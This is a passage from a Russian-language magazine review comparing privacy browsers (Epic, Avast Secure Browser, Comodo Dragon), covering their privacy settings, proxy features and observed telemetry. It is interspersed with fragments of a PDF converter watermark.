Таким образом, Brave может заменить сразу два браузера — обычный для приватного просмотра сайтов в интернете и Tor Browser для просмотра ресурсов в зоне .onion. По ощущениям браузер работает довольно быстро, хотя в режиме Private Window with Tor веб-страницы открываются дольше из-за перенаправления трафика через Tor Network.
Продолжение статьи →
|
|
|
hang |
e |
|
|
|
|
||
|
|
C |
|
|
E |
|
|
|||
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
|
|
F |
|
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|
||
|
|
|
|
|
|
|
||||
|
wClick |
|
BUY |
o m |
ПРИВАТНОСТЬ |
|||||
|
to |
|
|
|
||||||
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
c |
|
|
|
.c |
|
||
|
. |
|
|
|
|
|
|
|||
|
p |
|
|
|
|
|
g |
|
|
|
|
|
df |
-x |
|
n |
e |
|
|||
|
|
|
ha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
← НАЧАЛО СТАТЬИw Click |
|
BUY |
|
m |
||||||
to |
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
c |
|
|
|
o |
|
|
. |
|
|
|
|
.c |
|
|||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x ha |
|
|
|
|
СРАВНИВАЕМ БЕЗОПАСНЫЕ БРАУЗЕРЫ 2023 ГОДА
EPIC
•Сайт: epicbrowser.com
•Движок: Chromium
•Исходный код: закрытый
•Первый выпуск: 2013 год
•Версии: Windows, macOS, Android
Браузер, как и Brave, базируется на Chromium, но это коммерческий продукт с закрытым исходным кодом. Его разрабатывает с 2013 года компания Hidden Re ex из Индии. В Epic по умолчанию включена комплексная блокировка рекламы, он не сохраняет историю просмотра веб-страниц. Также в нем предусмотрена защита от сбора отпечатков браузера и блокировка автозаполнения форм — данные, которые ты вводишь в поля форм на веб-страницах, не сохраняются в браузере. Кроме того, в настройках Epic можно включить прокси-сервер, чтобы скрыть твое местоположение. Epic блокирует cookies и tracking, не позволяя сайтам отслеживать чувствительные параметры браузера и собирать данные для показа рекламы. Имеются вер-
сии браузера для Windows, macOS и Android.
Интересная особенность Epic в том, что он позволяет изменить настройки приватности для каждого отдельного сайта, и этих настроек очень много. Чтобы настроить приватность, открой сайт, нажми кнопку с зонтиком, а потом надпись View site settings.
Epic позволяет изменить настройки приватности для каждого сайта
Мы можем заблокировать для сайта, открытого в данный момент в окне браузера, геолокацию, запретить ему определять, имеется ли на нашем компьютере камера, микрофон, сенсоры. Можно включить или отключить для этого сайта JavaScript, загрузку картинок, блокировку рекламы. Это очень удобно, если при работе в интернете нам нужен JavaScript или антитрекинг мешает авторизации, но на каких-то сайтах мы хотим его оставить.
Давай включим в Epic режим Encrypted Proxy, зайдем на сайт BrowserLeaks
и посмотрим, что получилось.
Epic в режиме Encrypted Proxy
Отлично, у нас изменился IP-адрес и BrowserLeaks не смог корректно определить нашу геопозицию. Теперь мы в городе Ашберн, округ Лаудон, штат Виргиния. Можно посетить Ashburn Park. Интересно, там разрешают кормить белок?
Чтобы изменить глобальные настройки Epic, нажми кнопку в правой части инструментальной панели и выбери Settings. Все настройки здесь такие же, как в обычном Chrome, и находятся на привычных местах. Например, тут можно настроить прием файлов cookies, очистить историю просмотра. В разделе Security and Privacy — выбрать данные, которыми браузер будет делиться с сайтами в интернете, а в разделе Site Settings — отключить геопозиционирование сразу для всех сайтов.
Теперь посмотрим с помощью Portmaster, какие соединения устанавливает браузер Epic.
Epic в Portmaster
Браузер активно общается со служебным доменом theepicbrowser.com с использованием технологии Safe Privacy Network. Если посмотреть на эти пакеты в Wireshark, то можно увидеть, что Epic регулярно «отстукивается» своим разработчикам, а передаваемые им через Safe Privacy Network данные зашифрованы. По всей видимости, Epic Browser передает в компанию Hidden Re ex некую телеметрию.
В Epic есть еще одна интересная функция, которую разработчики рекламируют при первом запуске программы, — Epic Video Downloader. Если ты — пират… ой, то есть любитель видео или музыки, с помощью этой функции можно скачивать ролики с сайтов прямо на твой компьютер. Попробуем сделать это и начнем, пожалуй, с YouTube. Я нашел отличное видео с железными тетками, посвященное игре Atomic Heart. Открываем Video Downloader,
копируем URL... Epic Fail!
Epic Fail
Окей, возможно, Google защищает свои видео. На всякий случай проверим настройки браузера: Proxy выключен, JavaScript включен. Попробуем сделать то же самое на Vimeo. Снова Epic Fail!
Epic Fail
Безусловно, функция скачивания видео — очень полезная штука. Жалко, что она почему-то не работает, по крайней мере на самых популярных видеохостингах. В целом можно сказать, что Epic Browser обеспечивает защиту от трекинга и рекламы, а Encrypted Proxy — полезный инструмент для повышения приватности, позволяющий скрыть реальный IP-адрес. Но если ты страдаешь паранойей, закрытый исходный код может преподнести сюрпризы.
AVAST SECURE BROWSER
•Сайт: avast.com/secure-browser
•Движок: Chromium
•Исходный код: закрытый
•Первый выпуск: 2016 год
•Версии: Windows, macOS, iOS, Android
Это «безопасный» браузер от компании Avast Software — производителя одноименной антивирусной программы. Он также основан на Chromium,
существуют версии для Windows, macOS, iOS и Android.
Первая версия этого браузера была выпущена в 2016 году. Правда, изначально он назывался SafeZone и входил в комплект поставки платной версии антивируса Avast, но позже стал доступен для загрузки всем желающим. Всем, кроме жителей России и Белоруссии, — если ты попытаешься скачать браузер на территории этих стран, ничего не получится. Зато с использованием прокси или VPN никаких проблем со скачиванием не возникает.
Браузер поддерживает функции Anti-tracking и Antingerprinting, что,
по утверждению разработчиков, затрудняет идентификацию и отслеживание пользователей. Avast Browser также основан на Chromium и имеет закрытый исходный код. Его интерфейс знаком всем, кто использует Google Chrome, но в отличие от обычного Chrome Avast Browser имеет несколько дополнительных кнопок. Например, Privacy Guard — в этом окне можно включить защиту от трекинга и рекламы на текущем сайте.
Кнопка Extensions для управления плагинами стандартная для Chrome. А вот кнопка Security & Privacy Center открывает настройки приватности этого браузера. Здесь можно включить или отключить Privacy Guard и Web Shield — веб-антивирус, который защищает пользователя от перехода на фейковые
ифишинговые сайты. Здесь же можно выключить Password Manager, который сохраняет в браузере вводимые на сайтах пароли в зашифрованном виде
ипозволяет логиниться в один клик.
Настройки Avast Secure Browser
По умолчанию Privacy Guard настроен на режим Basic Blocking. Но мы хотим больше приватности! Нажмем кнопку Privacy Guard, а затем надпись Privacy Guard Settings, чтобы изменить настройки. Выбираем режим Strict Blocking, чтобы полностью блокировать ngerprinting, трекинг, рекламу и отслеживание со стороны сайтов и социальных сетей... Упс!
Avast Secure Browser
Браузер сообщает нам, что сотрудники Avast очень хотят кушать, поэтому некоторую рекламу и всякие шпионские штуки от их партнеров браузер все-таки будет пропускать. Иными словами, защита твоей конфиденциальности браузером Avast заканчивается примерно там, где эту самую конфиденциальность можно выгодно продать. Ничего личного, просто бизнес!
Ладно, положим, без полноценной защиты мы как-нибудь обойдемся, но давай хотя бы попробуем скрыть наше реальное местоположение с помощью Protected VPN — встроенного прокси, который предлагает нам Avast. Попробуем включить его... Ой, а что это?
Avast хочет денюжку!
Оказывается, это платная функция, но нам предлагают 30-дневный бесплатный триал. Правда, чтобы воспользоваться этой уникальной и не имеющей аналогов возможностью, нужно ввести данные банковской карты или прибегнуть к PayPal. Кажется, кто-то что-то говорил про приватность?
Перейдем в Security & Privacy Center и откроем окно приватного просмотра: Private Mode — Launch Window. Теперь откроем в этом приватном окне сайт BrowserLeaks. В целом никаких сюрпризов: браузер передает тот же объем данных, что и любой другой браузер с включенным JavaScript. IP-адрес определяется, передачу данных геолокации можно заблокировать во всплывающем окне.
Avast в окне BrowserLeaks
Если мы посмотрим на трафик Avast Secure Browser в приложении Portmaster, то заметим многочисленные обращения к серверам Avast. По всей видимости, браузер собирает статистику.
Avast в Portmaster
В целом можно сказать, что Avast Secure Browser имеет все те же функции, что предлагают другие бесплатные приватные браузеры. Но некоторые из них — за деньги.
COMODO DRAGON
•Сайт: comodo.com
•Движок: Chromium/Firefox
•Исходный код: закрытый
•Первый выпуск: 2010 год
•Версии: Windows
Еще один браузер от производителя антивирусной программы — компании Comodo Group. Он предлагается в четырех версиях: Comodo Dragon на осно-
ве Chromium и Ice Comodo Dragon на основе Firefox, каждая версия есть в 32-
битном и 64-битном вариантах. Я решил установить 64-разрядную версию
Comodo Dragon на основе Chromium.
Comodo Dragon использует собственные DNS-серверы Comodo вместо серверов провайдера пользователя, что повышает безопасность и конфиденциальность. При установке можно выбрать, будешь ли ты использовать DNS-серверы своего провайдера или DNS-серверы Comodo и как именно — постоянно на всех соединениях или только при запуске этого браузера.
Во время просмотра веб-сайтов по протоколу HTTPS Comodo Dragon дополнительно проверяет SSL-сертификаты с использованием собственного сервиса и предупреждает пользователя, если сертификат недостаточно надежен.
Кроме того, в Comodo интегрирован собственный антивирусный движок, проверяющий наличие вредоносного кода на сайтах. Несмотря на то что Comodo Dragon не передает никакую информацию сервисам Google, он отслеживает поведение пользователя и отправляет эти данные собственным службам Comodo Group, о чем сообщается в лицензионном соглашении. Еще там указано, что IP-адрес пользователя считается конфиденциальной информацией только на территории Калифорнии, поэтому браузер создает файлы журналов, которые отслеживают юзеров, идентифицируемых с помощью cookies повсеместно или IP-адресов за пределами Калифорнии. Также лицензионное соглашение позволяет Comodo Group раскрывать собранные данные своим аффилированным лицам и деловым партнерам.
Если открыть в браузере сайт BrowserLeaks, мы увидим, что по умолчанию Comodo Dragon блокирует точное определение геопозиции.
Comodo Dragon
Portmaster фиксирует регулярные обращения браузера к собственному серверу comodo.com, по всей видимости — чтобы передать телеметрию и прочие данные о поведении пользователя. Тем не менее значительная часть соединений с известными рекламными сервисами и системами трекинга действительно блокируется. Несмотря на то что браузер базируется на открытом проекте Chromium, исходный код самого Comodo Dragon закрыт.
Comodo Dragon в Portmaster
Comodo Dragon блокирует рекламу, трекинг, использует встроенные антивирусные функции, но, поскольку это продукт с закрытым исходным кодом, созданный коммерческой компанией, никто достоверно не знает, что у него спрятано под капотом.
Продолжение статьи →